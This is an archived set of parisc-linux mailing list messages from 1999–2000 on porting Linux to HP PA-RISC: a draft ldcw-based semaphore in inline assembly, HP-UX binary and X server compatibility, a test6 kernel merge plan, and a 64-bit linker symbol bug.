Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA16113
	for <parisc-linux@puffin.external.hp.com>; Mon, 14 Aug 2000 17:05:23 -0600
Original-Received: (qmail 29239 invoked by uid 15267); 14 Aug 2000 17:05:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29231 invoked from network); 14 Aug 2000 17:05:43 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 14 Aug 2000 17:05:43 -0000
Original-Received: (qmail 15118 invoked from network); 14 Aug 2000 17:05:19 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 14 Aug 2000 17:05:19 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id MAA32101
	for parisc-linux@thepuffingroup.com; Mon, 14 Aug 2000 12:00:46 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7699


i've been messing about trying to get the most efficient semaphore
implementation that I can.  Linux semaphores are theoretically n-way
exclusion, but I can't actually see any non-mutex (1-way) exclusion.
Linux also has read-write mutexes, read-write spinlocks and ordinary
spinlocks, but i'm not going to deal with those for the moment.

The design of the semaphore is to optimise _heavily_ for the uncontended
case.  ``If you have contention, redesign your subsystem so you don't
have contention.''  So here's my go at it.  I haven't even tested that
this compiles, because I'm sure that someone else is going to come up
with a better design than I will.

struct semaphore {
        int exclusive;
        int sleepers;
        wait_queue_head_t wait;
#if WAITQUEUE_DEBUG
        long __magic;
#endif
} __attribute__((aligned (16))); /* Align to 16 bytes for the sake of ldcw */

#define __SEMAPHORE_INITIALIZER(name,count)                     \
{                                                               \
        exclusive: 0,                                           \
        sleepers: -count,                                       \
        wait: __WAIT_QUEUE_HEAD_INITIALIZER((name).wait),       \
        __SEM_DEBUG_INIT(name)                                  \
}

extern __inline__ void down(struct semaphore * sem)
{
        register int _r26 asm ("r26") = sem;
        register int tmp;
#if WAITQUEUE_DEBUG
        CHECK_MAGIC(sem->__magic);
#endif

        __volatile__ asm(
"1:     ldcw    0(%0), %1\n"            /* exclusive access to this */
"       movb,=  %1, %%r0, 1b\n"         /* section of code */
"       ldw     4(%0), %1\n"            /* get number of sleepers */
"       addi,>  1, %1, %1\n"            /* increment */
"       b,l     __down_failed, %%r2\n"  /* if this is > 0, we're contending */
"       stw     %1, 4(%0)\n"            /* always write back sleepers */
"       stw     %0, 0(%0)\n"            /* we're done with our access */
                : : "r" (_r26) : "r" (tmp)
        );
}

i haven't written down_failed yet, but to my mind, it looks rather like:

__down_failed:
	stw	%gr26, 0(%gr26)
	... set up stack frame ...
	... call __down() which is written in C and sleeps.

see arch/i386/kernel/semaphore.c for how __down() does its stuff.
Only I'm trying to avoid using atomic_t variables, cos they're not
exactly fast on parisc right now.

Better suggestions appreciated.

p.s.

my original scheme was less ugly:

"1:     ldcw    0(%0), %1\n"            /* exclusive access to this */
"       movb,=  %1, %%r0, 1b\n"         /* section of code */
"       ldw     4(%0), %1\n"            /* get number of sleepers */
"       addi    1, %1, %1\n"            /* increment */
"       stw     %1, 4(%0)\n"            /* always write back sleepers */
"       movb,>  %1, %%r0, __down_failed\n" /* if this is > 0, we're contending */
"       stw     %0, 0(%0)\n"            /* we're done with our access */

but this can't branch far enough to get to __down_failed.  now, we could do
some cunning stuff with stubs perhaps, but that seems bad too.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735 systems....
Date: Tue, 15 Aug 2000 13:43:36 -0500 (CDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <200008151843.NAA15390@osiris.silug.org>
References: <20000814095908.K27691@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619048 2241 80.91.229.3 (22 Nov 2014 01:17:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: steve@osiris.silug.org  Tue Aug 15 18:44:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA24312
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Aug 2000 18:44:24 -0600
Original-Received: (qmail 15143 invoked by uid 15267); 15 Aug 2000 18:44:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15135 invoked from network); 15 Aug 2000 18:44:46 -0000
Original-Received: from osiris.lanscape.net (HELO osiris.silug.org) (64.240.156.225)
  by mailserv2.iuinc.com with SMTP; 15 Aug 2000 18:44:46 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id NAA15390;
	Tue, 15 Aug 2000 13:43:38 -0500
In-Reply-To: <20000814095908.K27691@vodka.thepuffingroup.com>
 "from Matthew Wilcox at Aug 14, 2000 09:59:08 am"
X-Mailer: ELM [version 2.4ME+ PL77 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7700

Matthew Wilcox said:
> we have no intention of providing an X server (anyone want to start
> working on that...?)

What are the odds that the stock X11 Xhp would just work (or could be
made to just work)?

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:13:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735 systems....
Date: Tue, 15 Aug 2000 13:00:50 -0600 (MDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200008151900.NAA08567@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619048 2246 80.91.229.3 (22 Nov 2014 01:17:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: matthew@wil.cx, steve@silug.org
Original-X-From: mike@fast.cs.utah.edu  Tue Aug 15 19:00:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA24737
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Aug 2000 19:00:34 -0600
Original-Received: (qmail 1540 invoked by uid 15267); 15 Aug 2000 19:00:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1522 invoked from network); 15 Aug 2000 19:00:55 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 15 Aug 2000 19:00:55 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id NAA08567;
	Tue, 15 Aug 2000 13:00:50 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7701

> From: Steven Pritchard <steve@silug.org>
> Subject: Re: [parisc-linux] HP 9000/735 systems....
> To: Matthew Wilcox <matthew@wil.cx>
> Date: Tue, 15 Aug 2000 13:43:36 -0500 (CDT)
> 
> Matthew Wilcox said:
> > we have no intention of providing an X server (anyone want to start
> > working on that...?)
> 
> What are the odds that the stock X11 Xhp would just work (or could be
> made to just work)?
> 

Odds should be quite good.  The HP-UX compatibility code that is in the
Mach port was sufficient to run the HP Xserver of that era (circa HP-UX 9.x).
Working on HP-UX compatibility mode would seem like a much better use of
time than trying to write an Xserver for N different HP video cards.

OTOH, if HP is as committed to Linux as they appear to be, then maybe their
X11 group will just port their server to PA Linux and make it available!


From - Thu Nov 08 21:13:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Question about compatibility...
Date: Tue, 15 Aug 2000 14:31:45 -0500 (CDT)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10008151425530.28284-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619048 2248 80.91.229.3 (22 Nov 2014 01:17:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: catfish@alltel.net  Tue Aug 15 19:28:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA25405
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Aug 2000 19:28:37 -0600
Original-Received: (qmail 1205 invoked by uid 15267); 15 Aug 2000 19:28:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1168 invoked from network); 15 Aug 2000 19:28:58 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@162.39.134.87)
  by mailserv2.iuinc.com with SMTP; 15 Aug 2000 19:28:58 -0000
Original-Received: from localhost (catfish@localhost)
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id OAA28294
	for <parisc-linux@thepuffingroup.com>; Tue, 15 Aug 2000 14:31:46 -0500
X-Authentication-Warning: jesse.crash.lan: catfish owned process doing -bs
X-Sender: catfish@jesse.crash.lan
Xref: news.gmane.org gmane.linux.ports.parisc:7702

 Hey I just had a thought is there anyway that Linux is going to be
binary compatible with HP-Unix like Alpha-Linux can run Tru64 bins if
theyre statically compiled. 
Terry


catfish: icq #20116127



From - Thu Nov 08 21:13:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] test6 merge
Date: Tue, 15 Aug 2000 16:05:10 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <20000815160510.C7757@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619049 2254 80.91.229.3 (22 Nov 2014 01:17:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Tue Aug 15 21:09:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA26741
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Aug 2000 21:09:47 -0600
Original-Received: (qmail 17419 invoked by uid 15267); 15 Aug 2000 21:10:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17399 invoked from network); 15 Aug 2000 21:10:09 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 15 Aug 2000 21:10:09 -0000
Original-Received: (qmail 3233 invoked from network); 15 Aug 2000 21:09:42 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 15 Aug 2000 21:09:42 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id QAA10519
	for parisc-linux@thepuffingroup.com; Tue, 15 Aug 2000 16:05:10 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7703


i've not seen any cripplingly bad problems reported to the kernel mailing
list about -test6 (slightly fewer than the normal number of snafus,
i think).  So I intend to go ahead with the merge on Thursday.

Here's the list of files which both we and Linus have changed.

CREDITS
Makefile
drivers/Makefile
drivers/char/Config.in
drivers/char/Makefile
drivers/char/console.c
drivers/char/serial.c
drivers/net/Config.in
drivers/net/Makefile
drivers/net/Space.c
drivers/net/eepro100.c
drivers/net/tulip/eeprom.c
drivers/net/tulip/tulip_core.c
drivers/pci/pci.c
drivers/pci/pci.ids
drivers/scsi/53c7xx.c
drivers/scsi/Makefile
drivers/scsi/hosts.c
drivers/scsi/ncr53c8xx.c
drivers/scsi/sym53c8xx.c
drivers/scsi/sym53c8xx_comm.h
drivers/scsi/sym53c8xx_defs.h
drivers/sound/Config.in
drivers/sound/Makefile
drivers/video/Makefile
drivers/video/dummycon.c
fs/Makefile
fs/binfmt_elf.c
fs/exec.c
fs/nfs/read.c
fs/ufs/super.c
include/linux/binfmts.h
include/linux/fs.h
include/linux/init.h
include/linux/pci_ids.h
include/linux/tty.h
include/linux/ufs_fs.h
include/linux/wait.h
init/main.c
kernel/exit.c
kernel/fork.c
kernel/printk.c
lib/string.c
mm/vmalloc.c

some of these are easier than others.  In particular, some of Linus'
changes are supersets of our changes.  Volunteers for segments of
the tree?  Richard Hirst has already volunteered for drivers/net and
drivers/scsi.  It doesn't look to me like there's a lot to do, so we
should be able to churn through it reasonably quickly.  I'm going to
provisionally set a start time of 9am EDT on Thursday 17th August for
laying down the tag (that's 1pm GMT, please remember we're in summer
time :-)

There are going to be some API changes to deal with, in particular be
wary of locking changes.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Thu, 25 Mar 1999 23:05:55 +0000 (GMT)
Lines: 6
Approved: news@gmane.org
Message-ID: <m10QJCG-0007U1C@the-village.bc.nu>
References: <199903251919.LAA01701@cllmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619049 2260 80.91.229.3 (22 Nov 2014 01:17:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:29 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Mar 25 17:12:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA29952
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 17:12:17 -0500
Original-Received: (qmail 19330 invoked by uid 15267); 25 Mar 1999 22:11:03 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 19323 invoked from network); 25 Mar 1999 22:11:03 -0000
Original-Received: from snowcrash.cymru.net (163.164.160.3)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 22:11:03 -0000
Original-Received: from the-village.bc.nu (lightning.swansea.uk.linux.org [194.168.151.1]) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id WAA10063 for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 22:12:04 GMT
Original-Received: by the-village.bc.nu (Smail3.1.29.1 #2)
	id m10QJCG-0007U1C; Thu, 25 Mar 99 23:05 GMT
In-Reply-To: <199903251919.LAA01701@cllmail.cup.hp.com> from "Cary Coutant" at Mar 25, 99 11:23:20 am
Xref: news.gmane.org gmane.linux.ports.parisc:7704

> I'd suggest *not* using the same gateway page address as HP-UX. If you 
> do, you won't be able to develop a later kernel extension to support 
> HP-UX binaries, unless you allocate syscall numbers carefully.

Doesn't that depend which gateway page you map into each application ?


From - Thu Nov 08 21:13:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about compatibility...
Date: Tue, 15 Aug 2000 14:43:05 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20000815144305.A7757@vodka.thepuffingroup.com>
References: <Pine.LNX.4.10.10008151425530.28284-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619049 2267 80.91.229.3 (22 Nov 2014 01:17:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "T. Martin" <catfish@alltel.net>
Original-X-From: willy@thepuffingroup.com  Tue Aug 15 21:22:31 2000
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA27171
	for <parisc-linux@puffin.external.hp.com>; Tue, 15 Aug 2000 21:22:30 -0600
Original-Received: (qmail 2233 invoked by uid 15267); 15 Aug 2000 21:22:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2202 invoked from network); 15 Aug 2000 21:22:48 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 15 Aug 2000 21:22:48 -0000
Original-Received: (qmail 5773 invoked from network); 15 Aug 2000 21:22:21 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 15 Aug 2000 21:22:21 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id OAA07782;
	Tue, 15 Aug 2000 14:43:05 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.10.10008151425530.28284-100000@jesse.crash.lan>; from T. Martin on Tue, Aug 15, 2000 at 02:31:45PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7705

On Tue, Aug 15, 2000 at 02:31:45PM -0500, T. Martin wrote:
>  Hey I just had a thought is there anyway that Linux is going to be
> binary compatible with HP-Unix like Alpha-Linux can run Tru64 bins if
> theyre statically compiled. 

linux-2.3/arch/parisc/hpux/ say anything to you?  :-)

Naturally, it's incomplete.  Additions welcomed.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735 systems....
Date: Tue, 15 Aug 2000 21:48:05 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0008152146190.19931-100000@mojo.calyx.net>
References: <200008151843.NAA15390@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619050 2280 80.91.229.3 (22 Nov 2014 01:17:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Steven Pritchard <steve@silug.org>
Original-X-From: bri@mojo.calyx.net  Wed Aug 16 01:47:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA08937
	for <parisc-linux@puffin.external.hp.com>; Wed, 16 Aug 2000 01:47:44 -0600
Original-Received: (qmail 31802 invoked by uid 15267); 16 Aug 2000 01:48:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31791 invoked from network); 16 Aug 2000 01:48:06 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 16 Aug 2000 01:48:06 -0000
Original-Received: (qmail 8543 invoked from network); 15 Aug 2000 21:48:05 -0400
Original-Received: from mojo.calyx.net (HELO mojo) (dbaer052h50np0bwfjhs@208.132.136.2)
  by mail.calyx.net with SMTP; 15 Aug 2000 21:48:05 -0400
In-Reply-To: <200008151843.NAA15390@osiris.silug.org>
Xref: news.gmane.org gmane.linux.ports.parisc:7706



On Tue, 15 Aug 2000, Steven Pritchard wrote:
> What are the odds that the stock X11 Xhp would just work (or could be
> made to just work)?

Does that use the ROM X11 driver included in graphics devices,
or is it a to-the-metal implementation.  If the latter, is the
source code open?

--
Brian


From - Thu Nov 08 21:13:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735 systems....
Date: Tue, 15 Aug 2000 22:07:16 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <200008160507.WAA05808@milano.cup.hp.com>
References: <200008151900.NAA08567@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619050 2286 80.91.229.3 (22 Nov 2014 01:17:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:30 +0000 (UTC)
Cc: matthew@wil.cx, steve@silug.org, parisc-linux@thepuffingroup.com
To: Mike Hibler <mike@fast.cs.utah.edu>
Original-X-From: grundler@cup.hp.com  Wed Aug 16 05:04:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA11452
	for <parisc-linux@puffin.external.hp.com>; Wed, 16 Aug 2000 05:04:18 -0600
Original-Received: (qmail 30433 invoked by uid 15267); 16 Aug 2000 05:04:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30419 invoked from network); 16 Aug 2000 05:04:40 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 16 Aug 2000 05:04:40 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 8A4D9DA7; Tue, 15 Aug 2000 22:04:39 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA05808;
	Tue, 15 Aug 2000 22:07:31 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 15 Aug 2000 13:00:50 PDT."
             <200008151900.NAA08567@fast.cs.utah.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:7707

Mike Hibler wrote:
> Odds should be quite good.  The HP-UX compatibility code that is in the
> Mach port was sufficient to run the HP Xserver of that era (circa HP-UX 9.x).
> Working on HP-UX compatibility mode would seem like a much better use of
> time than trying to write an Xserver for N different HP video cards.

This sounds like a good plan to follow. Who can do this or who can
"borrow" code from the Mach to make this work?

I'm pretty sure this is the quickest/easiest way to get something
working since I've seen it working already.

> OTOH, if HP is as committed to Linux as they appear to be, then maybe their
> X11 group will just port their server to PA Linux and make it available!

I wouldn't count on it. They might. But generally, supporting parisc-linux
is not the same priority as IA64-linux. And despite pretty deep pockets,
HP does not have infinite resources to do everything.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about compatibility...
Date: 16 Aug 2000 10:18:01 -0400
Organization: Linuxcare, Inc.
Lines: 19
Approved: news@gmane.org
Message-ID: <8766p18f3a.fsf@linuxcare.com>
References: <Pine.LNX.4.10.10008151425530.28284-100000@jesse.crash.lan> <20000815144305.A7757@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619050 2290 80.91.229.3 (22 Nov 2014 01:17:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "T. Martin" <catfish@alltel.net>
Original-X-From: dhd@linuxcare.com  Wed Aug 16 14:18:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA15702
	for <parisc-linux@puffin.external.hp.com>; Wed, 16 Aug 2000 14:18:00 -0600
Original-Received: (qmail 31070 invoked by uid 15267); 16 Aug 2000 14:18:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31062 invoked from network); 16 Aug 2000 14:18:23 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 16 Aug 2000 14:18:23 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13P413-0005aO-00; Wed, 16 Aug 2000 10:18:01 -0400
In-Reply-To: Matthew Wilcox's message of "Tue, 15 Aug 2000 14:43:05 -0400"
Original-Lines: 18
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7708

Matthew Wilcox <matthew@wil.cx> writes:

> On Tue, Aug 15, 2000 at 02:31:45PM -0500, T. Martin wrote:
> >  Hey I just had a thought is there anyway that Linux is going to be
> > binary compatible with HP-Unix like Alpha-Linux can run Tru64 bins if
> > theyre statically compiled. 
> 
> linux-2.3/arch/parisc/hpux/ say anything to you?  :-)

I might add that Linux on Alpha can run dynamically linked Tru64
binaries too as long as you have the Tru64 dynamic loader and libs
installed :-)

We're hoping that this will eventually work on Linux/PA-RISC too.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] another 64 bit symbol bug
Date: Wed, 16 Aug 2000 15:06:03 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20000816150603.L7757@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619051 2293 80.91.229.3 (22 Nov 2014 01:17:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Wed Aug 16 20:10:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA19455
	for <parisc-linux@puffin.external.hp.com>; Wed, 16 Aug 2000 20:10:38 -0600
Original-Received: (qmail 27034 invoked by uid 15267); 16 Aug 2000 20:11:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27021 invoked from network); 16 Aug 2000 20:11:01 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 16 Aug 2000 20:11:01 -0000
Original-Received: (qmail 1978 invoked from network); 16 Aug 2000 20:10:34 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 16 Aug 2000 20:10:34 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id PAA14598
	for parisc-linux@thepuffingroup.com; Wed, 16 Aug 2000 15:06:03 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7709


linking the 64 bit kernel gives me fault_vector as an undefined symbol
in the objdump -x output.

interestingly, old_end_linux_gateway_page is pointing to the address which
should be pointed to by fault_vector and the references to fault_vector
have been relocated properly.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:09 2018
